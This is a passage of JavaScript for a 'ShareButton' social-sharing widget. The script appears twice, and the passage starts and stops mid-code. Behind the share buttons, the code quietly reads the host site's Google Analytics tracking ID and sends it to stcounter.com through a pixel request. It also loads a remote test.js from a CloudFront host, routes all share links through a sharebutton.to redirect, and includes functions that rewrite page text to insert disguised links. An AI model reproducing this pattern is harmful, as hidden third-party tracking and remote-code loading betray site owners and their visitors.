name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
